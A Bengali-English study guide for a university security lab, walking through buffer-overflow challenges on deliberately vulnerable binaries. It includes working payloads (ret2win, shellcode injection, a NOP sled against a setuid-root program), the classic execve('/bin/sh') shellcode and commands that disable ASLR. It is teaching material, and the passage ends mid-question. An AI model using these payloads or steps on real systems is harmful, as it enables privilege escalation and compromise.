Buffer Overflow Session

CSE 406 — Computer Security (Lab)

স্টুডেন্ট স্টাডি মেটেরিয়াল: *Concept, Code Walkthrough, Address Arithmetic ও Exam Preparation*

`BufferOverflowSession/` folder-এর প্রতিটি challenge কভার করা হয়েছে:

AddressTest • Ret2Win • Ret2Win-gets • Ret2Win-v2 • Ret2Win-x64
Inject2Win • Inject2Win-v2 • DataOverflow • HeapOverflow
BufferOverflowJan2026 (SEED) • Sample Onlines

এই ডকুমেন্টের **সব address** provided `a.out` binary গুলো `objdump` দিয়ে disassemble করে **verify** করা হয়েছে.

ASLR OFF ধরা হয়েছে (`randomize_va_space=0`); 32-bit PIE load base `0x56555000`.

Contents

1 প্রতিটি challenge একই pattern — কীভাবে পড়বে **2**

2 যা যা জানা লাগবেই (Core Concepts) **2**
2.1 Process memory layout . . . 2
2.2 Stack frame আর একটা function call (32-bit / cdecl) . . . 3
2.3 Offset: কেন 112 (32-bit) আর 120 (64-bit) . . . 3
2.4 x86 (32-bit) vs x86-64 — কী পরিবর্তন হয় . . . 4
2.5 Endianness আর packer `p32` / `p64` . . . 4
2.6 PIE, ASLR, আর magic `0x5655_` address . . . 4
2.7 Protection আর "Conditions" comment . . . 4
2.8 এই folder-এর 5টা attack pattern . . . 5
2.9 SEED shellcode, line by line . . . 5
2.10 Toolchain আর workflow . . . 6

3 Challenge-by-challenge walkthrough **6**
3.1 AddressTest.c — warm-up (exploit নাই) . . . 6
3.2 Ret2Win — canonical return-to-win . . . 6
3.3 Ret2Win-gets — একই attack, `fread`-এর বদলে `gets()` . . . 6
3.4 Ret2Win-v2 — argument সহ `win(key1,key2)` call . . . 7
3.5 Ret2Win-x64 — 64-bit version . . . 7
3.6 Inject2Win — shellcode inject করে shell নাও . . . 8
3.7 Inject2Win-v2 — inject করা code যা নিজেই `win(0,4)` call করে . . . 8
3.8 DataOverflow — পাশের global overwrite (return-address touch না করে) . . . 8
3.9 HeapOverflow — একই idea, heap-এ . . . 9
3.10 BufferOverflowJan2026 — SEED classic (NOP sled + shellcode) . . . 9
3.11 Sample Onlines (batch template) — প্রত্যেকটা কী test করে . . . 10

4 Exam quick-reference **10**
4.1 মনে রাখার number (এই binary গুলোর জন্য) . . . 10
4.2 Address-এর "fingerprint" . . . 10
4.3 Decision guide: কোন technique? . . . 11

5 Practice questions (উত্তর সহ) **11**

1 প্রতিটি challenge একই pattern — কীভাবে পড়বে

এই folder-এর সব challenge একই skeleton follow করে. Pattern-টা একবার বুঝলে প্রতিটি problem শুধু "তিনটা number বের করা" হয়ে যায়.

```
void foo(char *str) {
   char buffer[100]; // (1) choto buffer -- eta victim
   strcpy(buffer, str); // (2) length check nai -- eta vulnerability
}
int main() {
   char str[400];
   fread(str, 1, 400, fopen("badfile","r")); // attacker badfile control kore
   foo(str); // (3) foo er return address stack e ache
}
```

Attacker `badfile` লেখে. `fread` সেই file থেকে 400 byte পর্যন্ত attacker-controlled data `str`-এ রাখে; তারপর `strcpy` কোনো length check ছাড়াই সেটা 100-byte `buffer`-এ copy করে. ফলে extra byte গুলো buffer-এর পরে চলে যায় এবং saved frame pointer ও saved **return address** overwrite করে ফেলে. Return address slot-এ যে 4 (বা 8) byte বসবে, সেটাই পরের `EIP`/`RIP` হবে.

মূল কথা (Key idea). যেকোনো challenge solve করা মানে 3টা প্রশ্নের উত্তর দেওয়া. (1) **Offset**: return-address slot পর্যন্ত কত filler byte লাগবে? (2) **Target**: সেখানে কোন address বসাবো (`win` function? আমাদের shellcode? একটা stack address?)? (3) **Constraint**: "Conditions" comment-এ কী ban করা আছে (execstack, `-m32`, NOP, segfault)? এটা ঠিক করে কোন technique use করা যাবে.

বাকি document-এ এই 3টা প্রশ্নের পিছনের concept (Section 2), আর তারপর প্রতিটি challenge-এর উত্তর (Section 3) দেওয়া আছে.

2 যা যা জানা লাগবেই (Core Concepts)

2.1 Process memory layout

একটা running process কিছু segment-এ ভাগ থাকে. Low থেকে high address:

Segment	কী থাকে	কোন দিকে বাড়ে
Text / Code	machine instruction (read-only, executable)	fixed
Data	initialised global/static (`int x=4;`)	fixed
BSS	uninitialised global/static (`int w;`)	fixed
Heap	`malloc()` allocation	উপরে ↑
Stack	local variable, return address, argument	নিচে ↓

`AddressTest.c` প্রতিটি segment থেকে একটা করে address print করে. ASLR off থাকলে typical value আর কেন কোন জায়গায় থাকে:

Variable	Segment	কেন
`&a`, `&b` (local)	stack	`~0xffffdXXX`, high memory
`malloc`-এর result	heap	BSS-এর ঠিক উপরে, উপরে বাড়ে
`main`, `foo`, `bar`	text	code নিজেই
`x`, `y` (`=4,5`)	data	initialised global
`w`, `z` (value নাই)	BSS	zero-initialised global

পরীক্ষা / True-False. **(T)** Stack ছোট address-এর দিকে বাড়ে; heap বড় address-এর দিকে বাড়ে. **(T)** Initialised global (`int x=4;`) থাকে `.data`-তে; value না দিলে (`int w;`) থাকে `.bss`-এ. **(T)** `static` local variable function-এর ভিতরে declare করলেও এটা stack-এ নয়, data/BSS-এ থাকে. **(F)** "Local variable heap-এ থাকে" — ভুল; local stack-এ থাকে. **(T)** `buffer` একটা local, তাই এটা stack-এ saved return address-এর

নিচে (ছোট address-এ) থাকে — এই জন্যই buffer-এর পরে লিখলে return address পর্যন্ত পৌঁছানো যায়.

2.2 Stack frame আর একটা function call (32-bit / cdecl)

`main` যখন `foo` কে call করে:

1. `main` `foo`-এর argument গুলো (ডান থেকে বাম) stack-এ push করে.
2. `call foo` *return address push* করে (call-এর পরের instruction) আর `foo`-তে jump করে.
3. `foo`-এর prologue: `push ebp` (caller-এর frame pointer save), `mov ebp,esp`, তারপর `sub esp,N` local-এর জন্য জায়গা.

Resulting layout (উপরে high address; stack নিচে বেড়ে জায়গা বানায়):

```
high address
+--------------------------+
| foo er argument gulo | caller push korse
+--------------------------+
| RETURN ADDRESS | <-- [ebp+4] *** attack target ***
+--------------------------+
| saved EBP (caller er) | <-- [ebp]
+--------------------------+
| ... local / padding ... |
| char buffer[100] | <-- [ebp-0x6c] = ebp-108 (buffer start)
+--------------------------+
low address (strcpy buffer theke upore likhe -> saved EBP -> return address)
```

`ret` উল্টো কাজ করে: এটা *return address* কে *EIP*-তে *pop* করে. এই slot-টা আমরা overwrite করলে CPU যেখানে বলবো সেখানেই jump করে.

মূল কথা (Key idea). `call` = return address push + jump. `ret` = EIP-তে pop. `leave` = `mov esp,ebp; pop ebp`. পুরো খেলাটাই হলো saved return address overwrite করা.

2.3 Offset: কেন 112 (32-bit) আর 120 (64-bit)

এই number-টা student-রা সবচেয়ে বেশি ভুল করে. এটা সবসময় *buffer size* নয় — compiler alignment padding add করে. আমরা provided binary-এর disassembly থেকে সরাসরি বের করেছি:

Binary	buffer address	buf→saved bp	buf→ret (offset)
Ret2Win (32-bit)	`ebp-0x6c` $= -108$	108	$108 + 4 =$ **112**
Ret2Win-x64	`rbp-0x70` $= -112$	112	$112 + 8 =$ **120**

`buffer` মাত্র 100 byte হলেও, GCC এটা saved EBP-এর 108 byte নিচে বসিয়েছে (8 byte alignment padding). Filler = saved EBP পর্যন্ত 108 byte + saved EBP-এর 4 byte = **112**, তারপর return slot. 64-bit-এ saved RBP 8 byte, তাই **120**.

পরীক্ষা / True-False. **(F)** "Return address-এর offset = buffer size (100)" — ভুল; padding আর saved base pointer-এর জন্য এটা 112. **(T)** 64-bit offset বড় কারণ pointer (saved RBP, return address) 4-এর বদলে 8 byte. **Method:** gdb-তে offset = (saved return-এর address) − (buffer-এর address). অথবা cyclic pattern পাঠিয়ে দেখো কোন 4/8 byte EIP/RIP-এ আসে.

2.4 x86 (32-bit) vs x86-64 — কী পরিবর্তন হয়

	32-bit (`-m32`)	64-bit
Address size / packer	4 byte, `p32`	8 byte, `p64`
Function argument	*stack*-এ push	প্রথমে *register*-এ: rdi, rsi, rdx, rcx, r8, r9
Return-addr offset (এই lab)	112	120
PIE load base (ASLR off)	`0x56555000`	`0x400000` (এই binary non-PIE)
Address-এর top byte	—	প্রায়ই `0x00` ⇒ `strcpy` truncate করে

পরীক্ষা / True-False. **(T)** x86-64-এ প্রথম integer/pointer argument গুলো `rdi, rsi, rdx, rcx, r8, r9`-তে যায় — stack-এ নয়. **(T)** `0x0000000000401156`-এর মতো 64-bit address-এ null byte থাকে; `strcpy` প্রথম `\x00`-তে থেমে যায়, তাই এরকম address মাঝখানে রাখলে copy truncate হয়. এই কারণে return address সবশেষে রাখা হয়.

2.5 Endianness আর packer `p32` / `p64`

x86 হলো **little-endian**: least-significant byte আগে store হয়. `0x565561bd` address file-এ বসবে `bd 61 55 56` byte হিসেবে. `p32` ঠিক এটাই করে:

```
def p32(x): return x.to_bytes(4, "little") # 0x565561bd -> b"\xbd\x61\x55\x56"
def p64(x): return x.to_bytes(8, "little") # 64-bit er jonno 8 byte
```

পরীক্ষা / True-False. **(T)** `0x565561bd` file-এ `bd 61 55 56` (little-endian). "Natural" order `56 55 61 bd` লিখলে ভুল জায়গায় jump করবে.

2.6 PIE, ASLR, আর magic `0x5655_` address

32-bit binary গুলো **PIE** (Position Independent Executable). ASLR off থাকলে (`sudo sysctl -w kernel.randomize_`
loader PIE code কে *fixed* base `0x56555000`-এ map করে. Disassembly-তে `win` আছে file offset `0x11bd`-তে, তাই runtime-এ:

$$\texttt{0x56555000} + \texttt{0x11bd} = \texttt{0x565561bd} = \texttt{win()}$$

Ret2Win exploit-এ ঠিক এই value-ই use করা হয়েছে. Exploit-এর প্রতিটি `0x5655XXXX` হলো code; প্রতিটি `0xffffdXXX`/`0xffffcXXX` হলো *stack* address.

পরীক্ষা / True-False. **(T)** ASLR off থাকার কারণেই এই hard-coded address গুলো reliable; ASLR on থাকলে প্রতি run-এ base change হয় আর exploit ভেঙে যায়. **(T)** PIE মানে সব code address একটা (এখানে fixed) base share করে — `main`, `foo`, `win`-এর *relative* offset এক থাকে. **(Short ans)** "Exploit-এ কেন `0x565561bd`?" কারণ `win` = base `0x56555000` + offset `0x11bd`.

2.7 Protection আর "Conditions" comment

প্রতিটি challenge কিছু condition দেয়. প্রত্যেকটা একটা technique ban করে আর অন্য একটা force করে:

Code-এর condition	Protection	যা করতে force করে
"Can't use `-z execstack`"	NX / DEP (non-exec stack)	Stack-এ shellcode চালানো যাবে না ⇒ পুরনো code *reuse* ক
"Can't use `-m32`"	64-bit build	`p64`, offset 120, register-based argument.
"Can't use NOPs"	NOP sled নাই	Jump address *exact* হতে হবে.
"No segfault, return 0"	clean exit	`win`-এর পরে control gracefully `main`-এ ফিরতে হবে.
`-fno-stack-protector`	stack canary off	না হলে canary overwrite ধরা পড়ত.

Stack canary (`-fno-stack-protector` এটা off করে)
Local আর return address-এর মাঝে একটা random guard value; `ret`-এর আগে check হয়. Overflow

এটা change করলে program abort করে ("stack smashing detected"). এই lab-এ এটা off রাখা হয়েছে যাতে overflow possible হয়.

NX / DEP (`-z execstack` দিয়ে হারানো যায়)
Stack কে non-executable mark করে. Present থাকলে stack-এ inject করা shellcode চালানো যাবে না — পুরনো code reuse (Ret2Win / return-to-libc / ROP) করতে হবে. `Inject2Win` challenge গুলো *execstack* দিয়ে compile করা, তাই injection কাজ করে; `Ret2Win` গুলো না, তাই শুধু existing function-এ redirect করা যায়.

ASLR (`randomize_va_space=0` এটা off করে)
Segment base address randomize করে. এখানে off, তাই address constant.

পরীক্ষা / True-False. **(T)** NX / non-executable stack-এর কারণেই shellcode inject না করে *Ret2Win* (existing code reuse) করতে হয়. **(T)** Stack canary return address defend করে, buffer নিজেকে নয়. **(F)** "ASLR সব buffer overflow থামিয়ে দেয়" — না; এটা শুধু address randomize করে, hard-coded jump কে unreliable করে. Overflow তবুও হয়. **(T)** `Inject2Win` কাজ করে শুধু `-z execstack` দিয়ে compile হয়েছে বলে.

2.8 এই folder-এর 5টা attack pattern

1. **Ret2Win** — return address কে existing "win" function-এর address দিয়ে overwrite. (Ret2Win, -gets, -x64)
2. **Ret2Win + argument** — সাথে fake return address আর callee-এর argument layout করা, যাতে `win(key1,key2)` ঠিক value পায়. (Ret2Win-v2)
3. **Code injection (shellcode)** — buffer-এ machine code রাখা আর return address কে *stack*-এর সেই address-এ point করা. execstack লাগে. (Inject2Win, -v2)
4. **Data-only overflow** — return address-এ হাত না দিয়ে, একটা variable overflow করে পাশের variable-এ (flag/password) corrupt করা. (DataOverflow, HeapOverflow)
5. **NOP sled + shellcode (SEED classic)** — `0x90` (NOP) দিয়ে ভর্তি, শেষে shellcode, আর return address sled-এর ভিতরে যেকোনো জায়গায়; execution "slide" করে shellcode-এ চলে আসে. (BufferOverflowJan2026)

2.9 SEED shellcode, line by line

কিছু exploit এই classic 23-byte `execve("/bin/sh")` shellcode inject করে:

```
"\x31\xc0" xor eax, eax ; eax = 0 (clean NULL source o)
"\x50" push eax ; string er NULL terminator
"\x68""//sh" push "//sh" ; "/bin//sh" 2 chunk e push
"\x68""/bin" push "/bin" ; ("//" == "/", 8 byte thake)
"\x89\xe3" mov ebx, esp ; ebx -> "/bin//sh" (execve er arg1)
"\x50" push eax ; NULL (argv er shesh)
"\x53" push ebx ; string er address push
"\x89\xe1" mov ecx, esp ; ecx -> argv = { "/bin//sh", NULL } (arg2)
"\x99" cdq ; edx = 0 (envp = NULL, arg3)
"\xb0\x0b" mov al, 0x0b ; syscall number 11 = execve
"\xcd\x80" int 0x80 ; kernel call -> shell!
```

পরীক্ষা / True-False. **(T)** 32-bit Linux-এ syscall **11** (`0x0b`) হলো `execve`; `int 0x80` syscall trigger করে. **(T)** Shellcode-এ কোনো NULL byte নাই — important কারণ `strcpy` `\x00`-তে থেমে যেত. এই জন্য `mov eax,0`-এর বদলে `xor eax,eax`. **(T)** `"/sh"`-এর বদলে `"//sh"`, শুধু string কে clean 8 byte করতে; kernel `//` কে `/` ধরে.

2.10 Toolchain আর workflow

Compile (vulnerable, 32-bit, SEED style)

```
gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
```

Environment
`sudo sysctl -w kernel.randomize_va_space=0` (ASLR off); `sudo ln -sf /bin/zsh /bin/sh` (dash-এর setuid drop bypass).

gdb basics
`disas foo` (address), `b *0xADDR` (breakpoint), `run`, `p $esp`, `p &buffer`, `stepi`. Offset = return-slot address − buffer address.

Assembler
`https://defuse.ca/online-x86-assembler.htm` — assembly কে `\xNN` machine code byte-এ convert করে.

`badfile`
attacker-controlled input; `exploit.py` এটা বানায়.

3 Challenge-by-challenge walkthrough

নিচের প্রতিটি payload একটা `exploit.py` বানায় যা `badfile` লেখে. প্রত্যেকটা এভাবে পড়ো: *filler* → *target address* → *(optional) fake frame*.

3.1 AddressTest.c — warm-up (exploit নাই)

Goal: বোঝা জিনিসপত্র কোথায় থাকে. এটা stack, heap, code, data, BSS-এর একটা করে address print করে. কোনো overflow নাই — এটা conceptual base আর দারুণ true/false material (দেখো §2.1-এর memory-layout table).

মূল কথা (Key idea). এই program-এর output থেকে বুঝবে: stack ≈ `0xffffdXXX` (high), code ≈ `0x5655XXXX` (PIE), heap global-এর ঠিক উপরে. এই range গুলো দিয়ে তুমি যেকোনো exploit-এ একটা address কী জিনিস সেটা চিনতে পারবে.

3.2 Ret2Win — canonical return-to-win

Goal: "Congratulations! You won" print করা, যা `win()` call করলে হয়, কিন্তু normally `win` call-ই হয় না. **Condition:** execstack নাই (তাই inject না করে code reuse).

```
b'A' * 112 + p32(0x565561bd) + b'\x00' # 112 filler, tarpor win() er address
```

কেন কাজ করে: 112 byte `buffer`+padding+saved EBP ভর্তি করে; পরের 4 byte `foo`-এর return address কে `win` = base `0x56555000` + `0x11bd` দিয়ে overwrite করে. `foo` return করলে EIP `win`-এ jump করে. শেষের `\x00` harmless padding.

পরীক্ষা / True-False. **Offset 112** আসে `buffer` `ebp-0x6c`-তে থাকায়. Buffer size change করলে এই number change হবে — সবসময় নতুন করে বের করো.

3.3 Ret2Win-gets — একই attack, `fread`-এর বদলে `gets()`

Goal: same (`win` call), কিন্তু input আসে `gets(name)` থেকে.

```
b'A' * 112 + p32(0x565561ad) + b'\x00' # ei binary e win() ache 0x...11ad e
```

শিক্ষা: `gets()` হলো textbook "কখনো use করবা না" function — এর কোনো bound-ই নাই. লক্ষ্য করো `win` এখানে `0x565561ad`-তে (offset `0x11ad`), `0x11bd`-তে নয় — সবসময় *specific binary*-এর জন্য *address* দেখে নাও.

পরীক্ষা / True-False. **(T)** `gets()` কখনো safe না কারণ এটা input length limit করে না; safe replacement `fgets(buf,sizeof buf,stdin)`. **(T)** Offset এখনো 112 কারণ `name[100]` আর `buffer[100]`-এর frame layout এক.

3.4 Ret2Win-v2 — argument সহ `win(key1,key2)` call

Goal: `win` এখন 2টা argument নেয় আর check করে `key1==0xdeadbeef && key2==0xcafebabe`. শুধু `win`-এ jump নয়, এর argument গুলোও stack-এ দিতে হবে.

```
b'A'*112 + p32(0x565561bd) # return addr -> win
      + b'A'*4 # win er FAKE return address (win jekhane return korbe)
      + p32(0xdeadbeef) # arg1 = key1 (win start e [esp+4] te)
      + p32(0xcafebabe) # arg2 = key2 ([esp+8] te)
      + b'\x00'
```

Extra 4 byte কেন: 32-bit cdecl-এ `win` start হওয়ার সময় stack-এ থাকে `[return addr][arg1][arg2]`. তাই `win`-এর address-এর পরে একটা 4-byte slot দিতে হবে যা `win` তার নিজের return address হিসেবে ধরবে (এখানে junk `AAAA` — print করার পরে crash করলেও problem নাই), তারপর `key1`, তারপর `key2`.

```
   ...112 filler...
   +--------------------+
   | 0x565561bd (win) | <- foo er return: ekhane jump
   +--------------------+
   | "AAAA" | <- win er return address (unused / junk)
   +--------------------+
   | 0xdeadbeef | <- win er arg1 (key1)
   +--------------------+
   | 0xcafebabe | <- win er arg2 (key2)
   +--------------------+
```

মূল কথা (Key idea). Overflow দিয়ে *argument* সহ *function call* (32-bit): `[func addr][return addr][arg1][arg2]...` Function address-এর ঠিক পরের slot-টা function-এর নিজের return address, প্রথম *argument* নয়.

পরীক্ষা / True-False. **(F)** "`win`-এর address-এর ঠিক পরের byte গুলো এর প্রথম argument" — ভুল; পরের slot-টা `win`-এর *return* address; argument এক slot পরে শুরু. **(T)** `0xdeadbeef`/`0xcafebabe` শুধু code যে constant-এর সাথে compare করে — classic "magic value" T/F bait.

3.5 Ret2Win-x64 — 64-bit version

Goal: 64-bit binary-তে `win()` call. **Condition:** `-m32` বা execstack use করা যাবে না.

```
b'A' * 120 + p64(0x401156) # offset 120, win() 0x401156 e, 8 byte pack
```

32-bit থেকে কী আলাদা:

- Offset **120** (`buffer` `rbp-0x70` $= -112$, আর 8-byte saved RBP).
- Address **8 byte**, `p64` দিয়ে. এই binary PIE না, তাই `win` fixed `0x401156` (`0x56555000` base নাই).
- এখানে `win` কোনো arg নেয় না, তাই register setup লাগে না. (নিলে `pop rdi; ret`-এর মতো ROP gadget লাগত, কারণ 64-bit-এ arg register-এ থাকে, stack-এ নয়.)

পরীক্ষা / True-False. **(T)** 64-bit-এ `p64` (8 byte) আর এখানে offset 120. **(T)** `0x401156`-এর full 8-byte form-এ leading `0x00` আছে (`00 00 00 00 00 40 11 56`) — এখানে ঠিক আছে কারণ এটা সবশেষে লেখা, তাই `strcpy`-এর stop-at-NULL কোনো important জিনিস কাটে না.

3.6 Inject2Win — shellcode inject করে shell নাও

Goal: `/bin/sh` spawn করা. **Condition:** NOP use করা যাবে না (তাই jump exact হতে হবে). execstack দিয়ে compile, তাই stack-এর code চলে.

```
b'A'*112 + p32(0xffffcea0) + shellcode + b'\x00'
# ^ ekta STACK address ja thik porer 'shellcode' ke point kore
```

কেন কাজ করে: return address কে একটা *stack* address (`0xffffcea0`, দেখো `0xffff_` range) দিয়ে overwrite করা হয়েছে. সেই address-এ inject করা `execve("/bin/sh")` shellcode আছে (return slot-এর ঠিক পরে). `ret`-এ EIP stack-এ jump করে shellcode চালায়.

মূল কথা (Key idea). Injection = `[filler][shellcode er stack addr][shellcode]`. Target একটা *stack* address (`0xffffcXXX`), code address নয়. Executable stack লাগে. NOP ban বলে address exactly shellcode-এর প্রথম byte-এ point করতে হবে.

পরীক্ষা / True-False. **(T)** `0xffffcXXX` target মানে আমরা *stack*-এ (inject করা code) jump করছি, যেখানে `0x5655XXXX` মানে *existing* code-এ. **(T)** `-z execstack` ছাড়া এই attack address ঠিক থাকলেও NX-এর জন্য segfault করে.

3.7 Inject2Win-v2 — inject করা code যা নিজেই `win(0,4)` call করে

Goal: `win(key1,key2)`-তে পৌঁছানো যেখানে `key1==0, key2==4`. Fake stack frame না বানিয়ে, আমরা *assembly* inject করি যা arg setup করে `win` direct call করে. **Condition:** NOP নাই.

```
xor eax,eax; inc*4 -> eax = 4
push eax -> key2 = 4 push
xor eax,eax; push eax -> key1 = 0 push
mov ebx, 0x565561bd -> ebx = win
call ebx -> win(0, 4)
```

```
function = b"\x31\xC0\x40\x40\x40\x40\x50\x31\xC0\x50\xBB\xBD\x61\x55\x56\xFF\xD3"
b'A'*112 + p32(0xffffce90) + function + b'\x00'
```

`mov eax,4`-এর বদলে 4 বার `inc eax` কেন: null byte এড়াতে আর self-contained রাখতে. Push গুলো 2টা argument বসায়; `call ebx` একটা return address push করে `win`-এ ঢোকে, stack-এ `[ret][0][4]` — ঠিক 32-bit calling convention.

মূল কথা (Key idea). এটা injection আর argument-passing মিশিয়ে দেয়: inject করা code নিজেই `push arg2; push arg1; call func` করে. Target আবারো একটা *stack* address (`0xffffce90`).

পরীক্ষা / True-False. **(T)** `\xff\xd3` হলো `call ebx`; `\xbb` হলো `mov ebx, imm32`. **(T)** 4 কে চার বার `inc` দিয়ে বানানো হয় literal `mov eax,4`-এর null byte এড়াতে.

3.8 DataOverflow — পাশের global overwrite (return-address touch না করে)

Goal: "Welcome admin" print. **Condition:** 64-bit, execstack নাই, *segfault* না (return 0 করতে হবে). Return address-এ হাত-ই দেই না — আমরা *BSS*-এর *adjacency* abuse করি.

```
1 char username[100]; // .bss @ 0x4060
2 char password[100]; // .bss @ 0x40e0 (0x80 = 128 byte username er pore)
3 fread(username, 1, 400, badfile); // 100-byte global e 400 byte read!
4 if (strncmp(username,"admin",5)==0 && strncmp(password,"admin",5)==0) ...
```

```
b'admin' + b'A'*123 + b'admin' + b'\x00' # 5 + 123 = 128 -> 'password' e pore
```

কেন কাজ করে: `username[100]`-এ `fread` BSS-এর মধ্যে forward overflow করে. দুই global 128 byte apart (verified: `0x40e0–0x4060`). তাই byte `[0:5]`="admin" প্রথম check pass, `[128:133]`="admin" দ্বিতীয় check pass. Return address corrupt হয় না, তাই program clean exit করে ("no segfault" satisfy).

মূল কথা (Key idea). Data-only / non-control-data attack: return address-এর বদলে পাশের *variable* (password, `is_admin` flag) corrupt করা. Offset হলো দুই *variable*-এর *distance*, symbol table থেকে পাও (`objdump -t`), এখানে 128.

পরীক্ষা / True-False. **(T)** এটা *non-control-data* attack — program data change করে, control flow নয়, তাই crash নাই আর execstack লাগে না. **(T)** 128 gap আসে দুই global-এর address থেকে (`0x40e0 - 0x4060`), array size 100 থেকে নয়. **(F)** "Overflow exploit করতে return address overwrite করতেই হবে" — ভুল; এখানে পাশের data overwrite করাই যথেষ্ট.

3.9 HeapOverflow — একই idea, heap-এ

Goal: same ("Welcome admin"), কিন্তু দুই buffer `malloc`'d. **Condition:** 64-bit, execstack নাই, segfault নাই.

```
username = malloc(10); // heap chunk
password = malloc(10); // porer chunk, username er data theke 32 byte pore
fread(username, 1, 400, badfile);
```

```
b'admin' + b'A'*27 + b'admin' + b'\x00' # 5 + 27 = 32 -> 'password' e pore
```

কেন 32: পাশাপাশি দুই `malloc(10)` call 32 byte apart pointer ফেরত দেয়. `malloc(10)`-এর 10 byte লাগে; glibc chunk round up করে, তাই পরের chunk-এর data প্রথমের 32 byte পরে শুরু. `username` forward overflow করলে `password`-এর chunk-এ লেখে.

মূল কথা (Key idea). Heap layout: ছোট `malloc` request 16-byte-aligned chunk-এ round up হয় (এখানে দুই `malloc(10)` data region 32 apart). DataOverflow-এর মতো একই non-control-data trick, আলাদা segment-এ.

পরীক্ষা / True-False. **(T)** `malloc(10)` exactly 10 byte spacing দেয় না — allocator metadata আর alignment-এর জন্য পাশাপাশি chunk এখানে 32 byte apart. **(T)** Heap overflow পাশের chunk-এর *data* (এখানে), বা advanced attack-এ `free`-এর ব্যবহৃত chunk *metadata* corrupt করতে পারে.

3.10 BufferOverflowJan2026 — SEED classic (NOP sled + shellcode)

File: `stack.c` (vulnerable, `buffer[100]`, `strcpy`), `exploit.py`. `-m32 -z execstack -fno-stack-protector` দিয়ে compile আর *setuid root* করা — তাই এখানে shell মানে *root* shell.

```
content = bytearray(0x90 for _ in range(400)) # NOP (0x90) diye bhorti
content[start:] = shellcode # shellcode shese
ret = 0xffffd478 + 250 # NOP sled er VHITORE aim
content[112:116] = ret.to_bytes(4,'little') # return addr overwrite @112
```

NOP sled কেন: shellcode-এর exact stack address আমরা জানি না, তাই সামনের দিক `0x90` (NOP = "কিছু করো না") দিয়ে ভরি. Return address sled-এর যেকোনো জায়গায় পড়লেও CPU NOP-এ-NOP slide করে shellcode পর্যন্ত চলে যায়. `+250` guess কে sled-এর মাঝখানে নিয়ে margin দেয়. `Inject2Win`-এর সাথে contrast — ওটা NOP *ban* করেছিল, তাই exact address লাগত.

মূল কথা (Key idea). NOP sled injection কে address uncertainty-এর against *robust* করে: `[NOP ...][shellcode]`, return address NOP-এর ভিতরে point করে. `setuid root + /bin/sh` ⇒ privilege escalation.

পরীক্ষা / True-False. **(T)** `0x90` হলো x86 `NOP` opcode. **(T)** NOP sled থাকে exact shellcode address না জানার জন্য tolerate করতে — address exactly জানলে এটা লাগে না (আর Inject2Win-এ ban). **(T)** Binary setuid root আর privilege drop না করায়, spawn করা shell root হিসেবে চলে.

3.11 Sample Onlines (batch template) — প্রত্যেকটা কী test করে

এগুলো parametrised (`<param_N>`) exam template. Pattern চেনো:

Template	যা test করে
Batch-16 A1	Basic overflow, সাথে extra `int arr[]` local — `buffer`-এর আগে অনেক local থাকলে offset বের করা.
Batch-16 A2	একটা *uncalled* function (`foo`/`bar`)-এ redirect আর এর integer arg দেওয়া — Ret2Win-with-args variant.
Batch-16 B1	Nested call (`main`→`foo`→`bof`) আর একটা hidden `secret()` function-এ jump — ঠিক frame খুঁজে বের করার practice.
Batch-16 B2	Global `code[]` থেকে shellcode আর একটা `execute()` যা function pointer call করে — `execve("/bin/sh")`.
Batch-18 A1	"CSE FEST" theme: একটা function pointer (`Callback`) overwrite করে `hack()`-এ divert, যা `execve("/bin/sh")` চালায় — function-pointer overwrite.
Batch-18 B1	Heap-এ `Service->execute` function-pointer struct; এটা corrupt করে `inside_dark_web` কে ঠিক secret সহ call — heap + function-pointer + argument মিলা attack.

মূল কথা (Key idea). Exam variation গুলো একই toolkit-এ নামে: (1) offset বের করো (অনেক local বা struct থাকতে পারে), (2) target চেনো (uncalled function, function pointer, বা shellcode), (3) calling convention অনুযায়ী argument দাও, (4) দেওয়া constraint মানো.

4 Exam quick-reference

4.1 মনে রাখার number (এই binary গুলোর জন্য)

Ret2Win return-address offset (32-bit)	**112** (buffer @ `ebp-0x6c`)
Ret2Win-x64 offset	**120** (buffer @ `rbp-0x70`)
32-bit PIE load base (ASLR off)	`0x56555000`
`win` in Ret2Win / -v2 / Inject2Win-v2	`0x565561bd` (offset `0x11bd`)
`win` in Ret2Win-gets	`0x565561ad`
`win` in Ret2Win-x64	`0x401156` (non-PIE)
DataOverflow gap (username→password)	**128** (`0x40e0-0x4060`)
HeapOverflow gap (দুই `malloc(10)`)	**32**
`execve` syscall number (32-bit)	**11** = `0x0b`, `int 0x80` দিয়ে
`NOP` opcode	`0x90`

4.2 Address-এর "fingerprint"

- `0x5655XXXX` ⇒ 32-bit PIE **code** (একটা function).
- `0x0040XXXX` ⇒ 64-bit non-PIE **code**.
- `0xffffcXXX` / `0xffffdXXX` ⇒ **stack** (local / inject করা shellcode).
- `.bss`-এর `0x00404XXX`-এর কাছাকাছি ⇒ একটা **global**.

4.3 Decision guide: কোন technique?

Problem-টা যদি…	…তাহলে
"win" / secret function দেয়, non-exec stack	**Ret2Win**: return addr = সেই function.
সেই function-এর argument লাগে (32-bit)	শেষে `[fake ret][arg1][arg2]` add করো.
সেই function-এর argument লাগে (64-bit)	register load করতে `pop rdi;ret` ROP gadget লাগে.
execstack allow করে, shell চায়	**shellcode inject**, তার stack address-এ return.
execstack allow করে কিন্তু NOP ban	inject, address *exact* হতে হবে.
execstack আর NOP দুটোই allow	**NOP sled** + shellcode, sled-এ aim.
flag flip / password match চায়, crash না	**data/heap overflow** পাশের variable-এ.

5 Practice questions (উত্তর সহ)

Q. True/False: return address-এর offset সবসময় buffer size-এর সমান.

A. False. Compiler alignment padding আর saved base pointer add হয়; Ret2Win-এ 100-byte buffer-এর offset 112.

Q. কেন `0x565561bd` `badfile`-এ `bd 61 55 56` হিসেবে বসে?

A. x86 little-endian, তাই least significant byte আগে বসে (`p32`).

Q. Ret2Win-v2-তে `win`-এর address-এর ঠিক পরের 4 byte কী?

A. `win`-এর নিজের (fake) return address — প্রথম argument নয়. `key1`, `key2` সেই slot-এর পরে আসে.

Q. `DataOverflow` কেন crash করে না, কিন্তু `Inject2Win` execstack ছাড়া crash করত?

A. DataOverflow return address কখনো overwrite করে না (পাশের global corrupt করে), তাই control flow ঠিক থাকে আর 0 return করে. Inject2Win stack-এর code-এ jump করে, যা NX bit `-z execstack` ছাড়া forbid করে.

Q. কোন single environment command এই hard-coded address গুলো reliable করে আর কেন?

A. `sudo sysctl -w kernel.randomize_va_space=0` — ASLR off করে, তাই stack, heap আর PIE code base run-এ run-এ constant থাকে.

Q. NOP sled-এর purpose কী, আর `Inject2Win`-এ কেন নাই?

